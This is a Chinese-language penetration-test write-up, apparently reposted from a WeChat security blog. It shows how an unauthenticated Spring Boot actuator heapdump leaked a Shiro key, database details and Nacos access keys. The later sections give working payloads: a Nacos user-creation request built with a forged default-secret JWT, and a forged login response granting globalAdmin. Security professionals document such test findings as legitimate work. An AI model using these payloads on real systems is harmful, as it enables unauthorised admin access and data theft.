0x01 前言
记录本次已授权目标(所有漏洞均已修复),本来只是一个平平无奇的spring未授权,发现存在heapdump接口,通过查看env后搜索相关敏感关键词,比如shiro,oss等
shiro的话说明目标服务启用了shiro,但是具体在哪里需要自己找,此时的heapdump里很有可能泄露shiro密钥,获取shiro密钥后就是rce了 oss和储存桶等云服务挂钩,有些会直接在actuator根节点下,有些则是靠内存泄漏进行分析获取泄露的oss的aksk 其中还存在nacos,可以通过翻找配置文件等,可能会泄露大量隐私数据。
0x02 正文
首先是插件扫描到路径https://xxx.xxx.xxx.xx/actuator,可直接未授权访问spring接口,例如env、heapdump等
直接访问https://xxx.xxx.xxx.xx/actuator/heapdump下载文件,然后进行内存信息分析可以得到大量隐私信息
这里可以使用java自带的jvm进行分析,也可以使用辅助工具,推荐一个自动化分析的工具JDumpSpider,但是还是需要个人走一下内存分析的流程会好一些
0x03 jvm简单分析
下载下来,然后用java工具装载,进行过滤
然后在实例中查看decryptionCipherKey
得到数组:124, 42, -66, -1, 21, -128, 113, 120, 76, 76, 32, -2, 114, 98, 119, 105
这时候借鉴了一下网上的思路,这里是base64转byte
得到密钥:fCq+/xWAcXhMTCD+cmJ3aQ==
0x04 分析工具JDumpSpider
使用:
java
-jar
JDumpSpider-1
.0-SNAPSHOT-full
.jar
heapdump
为了方便查看复制到文档打开
这里获取到一些mysql数据库、nacos地址、ak/sk
nacos地址:
https://xxx.xxx.xxx.xx:8848
当然数据库这些信息比较敏感,操作也比较简单,获取ak/sk的一些点和利用方式具体可以参考公众号以前的文章,笔者在这里也不做赘述了
构建payload
User-Agent:Nacos-Server
pyload:
/
nacos
/
v1
/
auth
/
users
?
accesstoken
=
eyJhbGciOiJIUzI1NiJ9
.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTQxMDg2OH0
.ZVcH2lwvBYHQvt232ruk2jqO08Eag3LLpZSz899j0D0
&
username
=
test
&
password
=
test111
创建成功,正常登录账号
登录框任意输入,抓包拦截返回包,构建pyload,修改状态码
pyload:
{
"accessToken"
:
"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTQxMDg2OH0.ZVcH2lwvBYHQvt232ruk2jqO08Eag3LLpZSz899j0D0"
,
"tokenTtl"
:
18000
,
"globalAdmin"
:
true
,
"username"
:
"nacos"
}
放包后即可进入后台
这里案例nacos并没有public,所以也没有配置文件可翻,我们也就点到为止了,springboot未授权引发的漏洞存在很多,当然上述也只是一小部分组合拳利用,如果有更好的思路和利用方式的师傅欢迎私信一起交流~
原文始发于微信公众号(Poker安全):springboot未授权到多个高危挖掘过程【文末附赠edu邀请码】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论